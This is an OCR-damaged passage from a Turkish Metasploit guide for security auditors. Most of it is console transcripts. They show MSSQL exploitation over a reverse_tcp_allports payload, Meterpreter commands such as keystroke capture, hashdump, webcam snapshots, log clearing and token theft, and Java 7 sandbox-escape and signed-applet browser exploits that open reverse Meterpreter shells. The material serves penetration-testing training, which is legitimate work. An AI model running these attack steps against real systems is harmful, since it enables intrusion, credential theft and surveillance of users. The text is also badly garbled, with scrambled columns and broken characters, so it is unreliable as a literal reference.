] Command Stager progress - 77.70% done (79447/102246 bytes)
] Command Stager progress - 79.17% done (80946/102246 bytes)
] Command Stager progress - 80.63% done (82445/102246 bytes)
] Command Stager progress - 82.10% done (83944/102246 bytes)
] Command Stager progress - 83.57% done (85443/102246 bytes)
] Command Stager progress - 85.03% done (86942/102246 bytes)
] Command Stager progress - 86.50% done (88441/102246 bytes)
] Command Stager progress - 87.96% done (89940/102246 bytes)
] Command Stager progress - 89.43% done (91439/102246 bytes)
] Command Stager progress - 90.90% done (92938/102246 bytes)
] Command Stager progress - 92.36% done (94437/102246 bytes)
] Command Stager progress - 93.83% done (95936/102246 bytes)
] Command Stager progress - 95.29% done (97435/102246 bytes)
] Command Stager progress - 96.76% done (98934/102246 bytes)
] Command Stager progress - 98.19% done (100400/102246 bytes)
] Command Stager progress - 99.59% done (101827/102246 bytes)
ending stage tes) to . 1.
] Sending stage (752128 bytes) to 192.168.1.32
]
1

*] Command Stager progress - 100.00% done (102246/102246 bytes)
*] Meterpreter session 10 opened (192.168.1.11:80 -> 192.168.1.32:1041) at 2012-09-14
0:59:55 +0300

meterpreter >

Microsoft SQL Sunucusunun Yoénetici Parolasi ile Yetkisiz Erisim Ters Baglantisinin Kurulmasi

Ters baglantida dikkat edilecek bir diger husus ise NAT iglemidir, dogrudan erigim
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badlantisinda da karsilasildigi Uzere denetmen sistemin de NAT'a tabi olmasi
gerekebilir. Hedef sistemde calistirilacak Payload denetmen sisteminin bir portuna
baglanmak isterken, Metasploit Framework'lin dinledigi IP adresi ve portun farkli olmasi
gerekebilir. Bu sekilde kargilasilan senaryoda hedef sistemin baglanmak icin kullanacagi
TCP portu show advanced ile gorilebilecek CPORT degdiskenine, IP adresi ise CHOST
degiskenine atanmalidir. Metasploit Framework'lin dinlemesi gereken TCP portu ve IP
adresi ise LPORT ve LHOST degigkenlerine atanmalidir.

3.6.4 Uygun Port Bulunarak Ters Baglanti Kurulmasi

Hedef sistemin sadece servis sundugu bir portunun erigilebilir oldugu, denetmen sisteme
ise erigebilecegi portlarin hi¢ bilinmedigdi senaryo ile de siklikla kargilagiimaktadir. Birgok
exploit'in sadece bir kullanimlik hakki oldugu dikkate alinirsa, hedefin denetmen
sistemine baglanmasi sansa birakiimamalidir. Bu noktada en uygun yontem hedef
sistemin, denetmen sistemine erigebilecedi tUm potansiyel portlarin sirayla denenmesi
ve uygun porttan baglantinin saglanmasidir.

Asagidaki ornekte hedef sistemin sadece Microsoft SQL servisine erisim saglanabildigi,
hedeften gelebilecek baglantinin ise hangi portlardan gergeklesebileceginin bilinmemesi
dikkate alinmisti.  Bu nedenle Payload olarak secgilen Meterpreter icin
(windows/meterpreter/reverse_tcp_allports) modull kullaniimigtir, tim portlardan ters
baglanti deneyecek moduller isminde reverse_tcp_allports ifadesini barindirmaktadir.
Ornekte Microsoft SQL servisinin yonetici parolasi zaafiyeti ile yiklenecek Payload
olarak Meterpreter secilmis ve LPORT ayarina dokunulmamistir. Boylece hedef sistem,
denetmen sistemin tum portlarina sirayla baglanmaya c¢alisirken; denetmen sistemi ise
LPORT degeri 1 oldugu igin tim uygun portlari dinlemektedir.

msf > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
PAYLOAD => windows/meterpreter/reverse_tcp_allports

msf exploit(mssql_payload) > set RHOST 192.168.1.32

RHOST => 192.168.1.32

msf exploit(mssql_payload) > set LHOST 192.168.1.11

LHOST => 192.168.1.11

msf exploit(mssql_payload) > show options

Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description

METHOD cmd yes Which payload delivery method to use
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PASSWORD
username
RHOST
RPORT
USERNAME

Name

LHOST
LPORT

Id Name

[*] Started
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command

(ps, cmd, or old)

Current Setting Required Description

192.
1433

Sa

EXITFUNC process

192.168.1.11

1

Exploit target:

0 Automatic

reverse handler

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

168.1.32

USE_WINDOWS_AUTHENT false
(requires DOMAIN option set)

Payload options (windows/meterpreter/reverse_tcp_allports):

yes
yes
yes

msf exploit(mssql_payload) > exploit
on 192.168.1.11:1

- 1.47%
.93%
.40%
.86%
.33%
.80%
- 10.26%
- 11.73%
- 13.19%
- 14.66%
- 16.13%
- 17.59%
- 19.06%
- 20.53%
- 21.99%
- 23.46%
- 24.92%
- 26.39%
- 27.86%
- 29.32%
- 30.79%
- 32.25%
- 33.72%
- 35.19%
- 36.65%
- 38.12%

o N U AN

no The password for the specified
yes The target address

yes The target port

no The username to authenticate as
yes Use windows authentification

Exit technique: seh, thread, process, none
The 1listen address
The starting port number to connect back on

done (1499/102246 bytes)
done (2998/102246 bytes)
done (4497/102246 bytes)
done (5996/102246 bytes)
done (7495/102246 bytes)
done (8994/102246 bytes)
done (10493/102246 bytes)
done (11992/102246 bytes)
done (13491/102246 bytes)
done (14990/102246 bytes)
done (16489/102246 bytes)
done (17988/102246 bytes)
done (19487/102246 bytes)
done (20986/102246 bytes)
done (22485/102246 bytes)
done (23984/102246 bytes)
done (25483/102246 bytes)
done (26982/102246 bytes)
done (28481/102246 bytes)
done (29980/102246 bytes)
done (31479/102246 bytes)
done (32978/102246 bytes)
done (34477/102246 bytes)
done (35976/102246 bytes)
done (37475/102246 bytes)
done (38974/102246 bytes)
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] Command Stager progress - 39.58% done (40473/102246 bytes)
] Command Stager progress - 41.05% done (41972/102246 bytes)
] Command Stager progress - 42.52% done (43471/102246 bytes)
] Command Stager progress - 43.98% done (44970/102246 bytes)
] Command Stager progress - 45.45% done (46469/102246 bytes)
] Command Stager progress - 46.91% done (47968/102246 bytes)
] Command Stager progress - 48.38% done (49467/102246 bytes)
] Command Stager progress - 49.85% done (50966/102246 bytes)
] Command Stager progress - 51.31% done (52465/102246 bytes)
] Command Stager progress - 52.78% done (53964/102246 bytes)
] Command Stager progress - 54.24% done (55463/102246 bytes)
] Command Stager progress - 55.71% done (56962/102246 bytes)
] Command Stager progress - 57.18% done (58461/102246 bytes)
] Command Stager progress - 58.64% done (59960/102246 bytes)
] Command Stager progress - 60.11% done (61459/102246 bytes)
] Command Stager progress - 61.58% done (62958/102246 bytes)
] Command Stager progress - 63.04% done (64457/102246 bytes)
] Command Stager progress - 64.51% done (65956/102246 bytes)
] Command Stager progress - 65.97% done (67455/102246 bytes)
] Command Stager progress - 67.44% done (68954/102246 bytes)
] Command Stager progress - 68.91% done (70453/102246 bytes)
] Command Stager progress - 70.37% done (71952/102246 bytes)

*] Command Stager progress - 71.84% done (73451/102246 bytes)
] Command Stager progress - 73.30% done (74950/102246 bytes)
] Command Stager progress - 74.77% done (76449/102246 bytes)
] Command Stager progress - 76.24% done (77948/102246 bytes)
] Command Stager progress - 77.70% done (79447/102246 bytes)
] Command Stager progress - 79.17% done (80946/102246 bytes)
] Command Stager progress - 80.63% done (82445/102246 bytes)
] Command Stager progress - 82.10% done (83944/102246 bytes)
] Command Stager progress - 83.57% done (85443/102246 bytes)
] Command Stager progress - 85.03% done (86942/102246 bytes)
] Command Stager progress - 86.50% done (88441/102246 bytes)
] Command Stager progress - 87.96% done (89940/102246 bytes)
] Command Stager progress - 89.43% done (91439/102246 bytes)
] Command Stager progress - 90.90% done (92938/102246 bytes)
] Command Stager progress - 92.36% done (94437/102246 bytes)
] Command Stager progress - 93.83% done (95936/102246 bytes)
] Command Stager progress - 95.29% done (97435/102246 bytes)
] Command Stager progress - 96.76% done (98934/102246 bytes)
] Command Stager progress - 98.19% done (100400/102246 bytes)
] Command Stager progress - 99.59% done (101827/102246 bytes)
] Sending stage (752128 bytes) to 192.168.1.32
] Command Stager progress - 100.00% done (102246/102246 bytes)
] Meterpreter session 1 opened (192.168.1.11:1 -> 192.168.1.32:1046) at 2012-09-14

1:49:57 +0300

meterpreter >

Microsoft SQL Sunucusunun Yoénetici Parolasi ile Tim Portlardan Ters Baglanti Denemesi
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3.7 Meterpreter Temel Kullanimi

Meterpreter, Metasploit Framework igin yazilmis ve sistem sizma testlerini
kolaylastirmay! hedefleyen bir aractir. Bir gesit arka kapi olarak galigir; erisim saglanan
sisteme yuklenmesi sonrasinda 6zel arag¢ setlerini kullanima sunmak, dosya yuklemek,
dosya indirmek, parola Ozetlerini almak, suregleri yonetmek veya Ruby yorumlayicisi
uzerinde istenen her tur iglemi yapmak igin tasarlanmigtir. Baslangigta Windows igletim
sistemi yukll hedef sistemlerde galismak igin tasarlanmis olmasina ragmen, ginimuzde
Linux ve BSD igletim sistemleri ile PHP yorumlayicisi ve Java sanal makinesi Uzerinde
de calismaktadir. Meterpreter, galisabildigi farkli platformlarda ayni tirde modulleri ve
scriptleri destekleyememektedir. Bircok temel Ozellik ortak olmasina ragmen isletim
sistemi ve platform farkliliklari nedeniyle ileri diuzey Ozelliklere erismek her zaman
mumkin olmamaktadir.

Bir exploit iglemi ile yUklenen Meterpreter ve temel komut o&rnekleri asagida
orneklenmistir. Meterpreter 6n tanimh olarak stdapi moduluna yuklemektedir; bu modul
araciliiyla dosya sistemi, ag ve kullanici arayuzi komutlari kullanilabilir hale
gelmektedir. Ayrica yuklenebilmigse priv modulu aracihigiyla da yetki ylkseltmek ve
sistemden parola oOzetlerini almak mumkun olmaktadir. Kullanilabilir Meterpreter
komutlarinin gorulebilmesi igin help parametresi verilebilir, eger istenen komutlar
bulunmuyor ise gerekli modiil yiiklenmemistir. istenen modiilleri yiiklemek icin load
komutu kullanilabilir, varsayilan ayarlar stdapi ve priv modullerinin yiklenmesi
yonundedir. Diger moduller arasinda ise ekran goruntusu igin espia, yetki jetonlar ile
oynamak icin incognito, yerel ag saldirilari igin lanattacks ve paket yakalama igin
sniffer yer almaktadir.

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
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exit
help
info
interact
irb

load
migrate
quit
read
resource
run

use
write

Terminate the meterpreter session

Help menu

Displays information about a Post module
Interacts with a channel

Drop into irb scripting mode

Load one or more meterpreter extensions
Migrate the server to another process
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file
Executes a meterpreter script or Post module
Deprecated alias for 'load'

Writes data to a channel

Stdapi: File system Commands

cd
download
edit
getlwd
getwd
lcd
1pwd
1s
mkdir
pwd

rm
rmdir
search
upload

Description

Read the contents of a file to the screen
Change directory

Download a file or directory
Edit a file

Print local working directory
Print working directory

Change local working directory
Print local working directory
List files

Make directory

Print working directory

Delete the specified file
Remove directory

Search for files

Upload a file or directory

Stdapi: Networking Commands

Command
ifconfig
ipconfig
portfwd
route

Description

Display interfaces

Display interfaces

Forward a local port to a remote service
View and modify the routing table

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri

Sayfa 125




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as

kill Terminate a process

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as 0S

Stdapi: User interface Commands

Command Description

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

Stdapi: Webcam Commands

Command Description

webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam

Priv: Elevate Commands

Command Description

getsystem Attempt to elevate your privilege to that of local system.
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Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

Command Description

timestomp Manipulate file MACE attributes

Meterpreter Yardim igerigi

Meterpreter'in siklikla kullanilacak komutlari arasinda; komut istemi icin shell, bir
uygulama calistirma icin execute, sire¢ yonetimi igin ps ve Kill, ruby yorumlayicisina
erisim igin irb, baska bir surecin pargasi olabilmek icin migrate yer almaktadir.

meterpreter > getprivs

Enabled Process Privileges

SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 2092
meterpreter > sysinfo
Computer : HACMEONE
0S : Windows XP (Build 2600, Service Pack 2).
Architecture 1 X86
System Language : tr_TR
Meterpreter : x86/win32
meterpreter > ps
Process List
PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295

4 0 System x86 0 NT AUTHORITY\SYSTEM

380 4 SMSS.exe x86 0 NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe

488 1224 cmd.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\cmd.exe

496 700 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\msdtc.exe

532 380 csrss.exe x86 0 NT
AUTHORITY\SYSTEM \?2?\C:\WINDOWS\system32\csrss.exe

656 380 winlogon.exe x86 0 NT
AUTHORITY\SYSTEM \?2?\C:\WINDOWS\system32\winlogon.exe

700 656 services.exe x86 0O NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe

712 656 lsass.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\lsass.exe

864 700 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\VMware\VMware Tools\vmacthlp.exe

876 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\svchost.exe

960 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe

996 700 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe

1044 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\System32\svchost.exe

1100 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe

1152 700 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\system32\svchost.exe

1248 656  logonui.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\logonui.exe

1400 700 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\spoolsv.exe
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C:\WINDOWS\system32\cisvc.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe
C:\WINDOWS\system32\dllhost.exe

C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
C:\WINDOWS\TEMP\xspFG.exe
C:\WINDOWS\TEMP\BRfv].exe
C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\inetsrv\DavCData.exe
C:\WINDOWS\System32\cmd.exe
C:\WINDOWS\System32\logon.scr
C:\WINDOWS\System32\cmd.exe

meterpreter > shell

Process 2732 created.

Channel 1 created.

Microsoft Windows XP [Serem 5.1.2600]

(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd \
cd |\

C:\>dir

dir

C serecesendeki birimin etiketi yok.
Birim Seri Numarase: 3853-8590

C:\ dizini
03.12.2008 18:48 0 AUTOEXEC.BAT
03.12.2008 18:48 0 CONFIG.SYS
28.07.2011 14:41 <DIR> Documents and Settings
10.08.2012 16:21 <DIR> ede9a30bbOfc3b4cd90abde67fb6
26.07.2011 16:06 <DIR> Inetpub
26.07.2011 16:07 <DIR> MSDERelA
10.08.2012 16:27 <DIR> Program Files
13.09.2012 18:15 <DIR> WINDOWS

2 Dosya 0 bayt

6 Dizin 20.647.772.160 bayt boe
C:\>exit

1508 700 cisvc.exe x86 0 NT AUTHORITY\SYSTEM
1564 700 1inetinfo.exe x86 0O NT AUTHORITY\SYSTEM
1588 700 sqlservr.exe x86 0O NT AUTHORITY\SYSTEM
1668 700 dllhost.exe x86 0 NT AUTHORITY\SYSTEM
1924 700 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM
1968 2920 xspFG.exe x86 0 NT AUTHORITY\SYSTEM
2092 3472 BRfvl].exe x86 0 NT AUTHORITY\SYSTEM
2304 3736 cmd.exe x86 0 NT AUTHORITY\SYSTEM
2632 1564 davcdata.exe x86 0 NT AUTHORITY\SYSTEM
3144 1044 cmd.exe x86 0 NT AUTHORITY\SYSTEM
3372 656 logon.scr x86 0 NT AUTHORITY\SYSTEM

3508 1044 cmd.exe x86 0 NT AUTHORITY\SYSTEM

Meterpreter Temel Komutlari
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4 ileri Diizey islemler

4.1 Alternatif Exploit Tiplerinin Kullanimi

Exploit isleminin sadece hedef sistemin sundugu bir serviste olacagini dusinmek bir
hatadir. Cok farkl exploit yontemleri bulunmaktadir ve birgok yazilimin bu yéntemlerden
etkilenmesi sdzkonusudur. Ornegin bir resim kiitliphanesinde bulunan giivenlik acigini;
web tarayicisi Uzerinden goruntileme ile exploit etmek, dosyayl hazirlayip hedefe
dogrudan gondererek exploit etmek, servisin dosyay! iglemesini saglayarak exploit
etmek veya e-posta istemcisinin dosyayi goruntlilemesi ile exploit etmek mumkundur.
Sonugta glvenlik acigi tek olmasina ragmen bircok farkh vektor ile kullanilabilmektedir.

Metasploit Framework cok farkli tipte exploitler icin desteklere sahiptir; web tarayicisi icin
hazir web servisi bileseni, “smb relay” i¢cin smb servisi bilesenleri, givenlik agigi exploit
edebilmek i¢in dosya uretme yapisi veya paket yakalama altyapisi ilk akla gelenlerdir.
Exploit isleminin esnek oldugu ve sistem sizma ile sonug¢landigi surece her yontemin
uygun oldugu unutulmamalidir. Bu nedenle bir yardimci modul, harici bir ara¢ ve
exploit'in kendisi de beraber kullanilarak sonuca gidilebilir. Bélim icinde farkli exploit
tiplerinden 6rnekler anlatilacak ve kullanim yontemleri paylasilacaktir.

4.1.1 Web Tarayicisi Exploit'leri

Web tarayicilari birgok guvenlik agigindan etkilenmektedir; web sayfalarinin
gosteriminde statik nesnelere ek olarak c¢aligtirilabilir uygulamalar da olmasi, web
tarayicilarn ciddi hedef haline getirmektedir. Sayfalarda calisan Javascriptler, Java
uygulamalari, gosterilen resimleri igleyen resim kutuphaneleri, Flash uygulamalari,
ActiveX objeleri ve web tarayici eklentileri kritik guvenlik aciklar tasimaktadir.
GunUmuzde birgok sifir glin exploit'i web tarayicilarini hedef almakta ve sayilan glivenlik
aciklarini kullanilabilecek bicimde hazirlanmaktadir.

Web tarayicilarla ilgili bir diger temel sorun ise son kullanicilarla etkilesimin ¢ok fazla
olmasidir.  Kullanicilarin  davraniglarinin  da istismar edilmesi mumkundur;
glvenilmeyen bir imzaya sahip Java Applet'in kullanici tarafindan calistiriimasi veya bir
dosyanin indirilmesi en sik rastlanan saldiri turleridir. Bir web tarayici exploit'i kullanimi
icin Metasploit Framework'te gerekli yapilandirma hazirlandiktan sonra web servisi
baglatilir, bu noktada kullanici iglemi gerekmektedir. Hazirlanan web servisini
kullanicinin ziyaret edebilmesi icin baglantinin kullaniciya gonderilmesi veya bir
sitelerarasi komut ¢alistirma (XSS) acgigi kullanimi gerekli olacaktir.
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Web tarayici agiklari igin asagida platform bagimsiz bir Java acigi érnek verilmistir. Java
sanal makinesinin, bolmenin disinda kod c¢alistirilabilmesine izin veren bir guvenlik agigi
bulunmaktadir ve acigin kullanimi birgok farkli platformda mimkiin olmaktadir. Ornekte
Java aciginin Internet Explorer 7 igin kullanimi aktarilmis, Payload olarak Java
Meterpreter secilmistir. Calisacak servisin tim IP adreslerinde dinleme yapabilmesi igin
SRVHOST degiskeni 0.0.0.0 olarak birakilmis, servisin dinleyecegi port icin SRVPORT
degisenine 80 atamasi yapiimis ve web servisini ziyaret eden tum kullanicilan ele
gegirebilmek icin URIPATH degiskenine kok dizin (/) atamasi yapiimistir. Eger URIPATH
degiskeni on tanimli birakilirsa, rastgele bir deger Uretilir ve galisacak web servisinde o
adrese istek gelmedikge exploit calismayacaktir. Yapilandirma tamamlanip servis
calistirildiktan sonra, sanal bir makinedeki Internet Explorer ile 192.168.1.11 IP adresi
ziyaret edilmis ve asagida goruldugu Uzere sistemine Java Meterpreter yuklenmigtir.

msf > use exploit/multi/browser/java_jrel7_exec
msf exploit(java_jrel7_exec) > info

Name: Java 7 Applet Remote Code Execution
Module: exploit/multi/browser/java_jrel7_exec
Version: 0
Platform: Java, Windows, Linux
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
Unknown
jduck <jduck@metasploit.com>
sinn3r <sinn3r@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>

Available targets:

Id Name

0 Generic (Java Payload)
1  Windows Universal

2 Linux x86

Basic options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0

SRVPORT 80 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is

randomly generated)
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SSLVersion SSL3 no Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)

URIPATH / no The URI to use for this exploit (default is
random)

Payload information:
Space: 20480
Avoid: 0 characters

Description:
This module exploits a vulnerability in Java 7, which allows an
attacker to run arbitrary Java code outside the sandbox. This flaw
is also being exploited in the wild, and there is no patch from
Oracle at this point. The exploit has been tested to work against:
IE, Chrome and Firefox across different platforms.

References:
http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html

msf exploit(java_jrel7_exec) > set SRVPORT 80

SRVPORT => 80

msf exploit(java_jrel7_exec) > set URIPATH /

URIPATH => /

msf exploit(java_jrel7_exec) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp

msf exploit(java_jrel7_exec) > set LHOST 192.168.1.11

LHOST => 192.168.1.11

msf exploit(java_jrel7_exec) > show options

Module options (exploit/multi/browser/java_jrel7_exec):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0

SRVPORT 80 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is
randomly generated)

SSLVersion SSL3 no Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)

URIPATH / no The URI to use for this exploit (default is
random)

Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 192.168.1.11 yes The listen address
LPORT 4444 yes The listen port
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Exploit target:

Id Name

® Generic (Java Payload)

msf exploit(java_jrel7_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.11:4444

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.1.11:80/

[*] Server started.

msf exploit(java_jrel7_exec) > [*] 192.168.1.12 java_jrel7_exec - Java 7 Applet
Remote Code Execution handling request

[*] 192.168.1.12 java_jrel7_exec - Sending Applet.jar

[*] 192.168.1.12 java_jrel7_exec - Sending Applet.jar

[*] Sending stage (30216 bytes) to 192.168.1.12

[*] Meterpreter session 3 opened (192.168.1.11:4444 -> 192.168.1.12:49200) at 2012-09-15
00:34:57 +0300

msf exploit(java_jrel7_exec) > sessions -1

Active sessions

Id Type Information Connection

3 meterpreter java/java holden @ w7atvb 192.168.1.11:4444 -> 192.168.1.12:49200
(192.168.1.12)

msf exploit(java_jrel7_exec) > sessions -1 3
[*] Starting interaction with 3...

meterpreter > sysinfo

Computer ¢ w7atvb

(0 : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid

Server username: holden

meterpreter > shell

Process 1 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\holden\Desktop>

Java 7 Bélme Disinda Kod Calistirma Exploiti
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Bir diger platform bagimsiz web tarayici exploit'i ise imzali Java applet'inin kullaniciya
calistirtiimasidir. Cahgtirilan sahte web servisi ile kullaniciya guvenilmeyen imzaya sahip
bir Java applet'i sunulmakta ve caligstirmasi istenmektedir. Eger kullanici kargisina ¢ikan
Java sanal makinesinin guvenilmeyen sertifika uyarisini okumaz ve kodu caligtirirsa
sistem ele gecirilebilmektedir. Bu noktada denetmen, web tarayicilarinin guvendigi bir
sertifikaya sahip ise imzalama igin SigningCert, SigningKey ve SigningKeyPass
degiskenlerini tanimlayabilir.

msf > use exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet) > info

Name: Java Signed Applet Social Engineering Code Execution
Module: exploit/multi/browser/java_signed_applet
Version: 15518
Platform: Java, Windows, 0SX, Linux, Solaris
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
natron <natron@metasploit.com>

Available targets:

Id Name
Generic (Java Payload)
Windows x86 (Native Payload)
Linux x86 (Native Payload)
Mac 0S X PPC (Native Payload)
Mac 0S X x86 (Native Payload)

A wWN RO

Basic options:

Name Current Setting Required Description

APPLETNAME Siteloader yes The main applet's class name.

CERTCN Siteloader yes The CN= value for the certificate. Cannot
contain ',' or '/'

SRVHOST 0.0.0.0 yes The local host to listen on. This must be
an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default
is randomly generated)

SSLVersion SSL3 no Specify the version of SSL that should be
used (accepted: SSL2, SSL3, TLS1)

SigningCert no Path to a signing certificate in PEM or
PKCS12 (.pfx) format

SigningKey no Path to a signing key in PEM format
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SigningKeyPass no Password for signing key (required if
SigningCert is a .pfx)

URIPATH no The URI to use for this exploit (default is
random)

Payload information:
Avoid: 0 characters

Description:
This exploit dynamically creates a .jar file via the
Msf::Exploit::Java mixin, then signs the it. The resulting signed
applet is presented to the victim via a web page with an applet tag.
The victim's JVM will pop a dialog asking if they trust the signed
applet. On older versions the dialog will display the value of
CERTCN in the "Publisher" 1line. Newer JVMs display "UNKNOWN" when
the signature is not trusted (i.e., it's not signed by a trusted
CA). The SigningCert option allows you to provide a trusted code
signing cert, the values in which will override CERTCN. If
SigningCert is not given, a randomly generated self-signed cert will
be used. Either way, once the user clicks "run", the applet executes
with full user permissions.

References:

http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.
pdf
http://www.spikezilla-software.com/blog/?p=21

msf exploit(java_signed_applet) > set SRVPORT 80

SRVPORT => 80

msf exploit(java_signed_applet) > set URIPATH /

URIPATH => /

msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(java_signed_applet) > set LHOST 192.168.1.11

LHOST => 192.168.1.11

msf exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):

Name Current Setting Required Description

APPLETNAME Siteloader yes The main applet's class name.

CERTCN Siteloader yes The CN= value for the certificate. Cannot
contain ',"' or '/'

SRVHOST 0.0.0.0 yes The local host to listen on. This must be
an address on the local machine or 0.0.0.0

SRVPORT 80 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default

is randomly generated)
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SSLVersion SSL3
used (accepted: SSL2, SSL3, TLS1)
SigningCert
PKCS12 (.pfx) format
SigningKey
SigningKeyPass
SigningCert is a .pfx)
URIPATH /
is random)

Exploit target:

Id Name

[*] Server started.

click 'accept'...

click 'accept'...

00:59:02 +0300

[*] Starting interaction with 4...

meterpreter > getuid
Server username: w7atvb\holden
meterpreter > getpid

1 Windows x86 (Native Payload)

msf exploit(java_signed_applet) >
[*] 192.168.1.12 java_signed_applet - Handling request
[*] 192.168.1.12 java_signed_applet - Sending SitelLoader.jar. Waiting for user to

no

no

no
no

no

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes
LHOST 192.168.1.11 yes
LPORT 4444 yes

msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.11:4444

msf exploit(java_signed_applet) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.11:80/

[*] 192.168.1.12 java_signed_applet - Sending SitelLoader.jar. Waiting for user to

[*] Sending stage (752128 bytes) to 192.168.1.12
[*] Meterpreter session 4 opened (192.168.1.11:4444 -> 192.168.1.12:49322) at 2012-09-15

msf exploit(java_signed_applet) > sessions -i 4

Specify the version of SSL that should be
Path to a signing certificate in PEM or

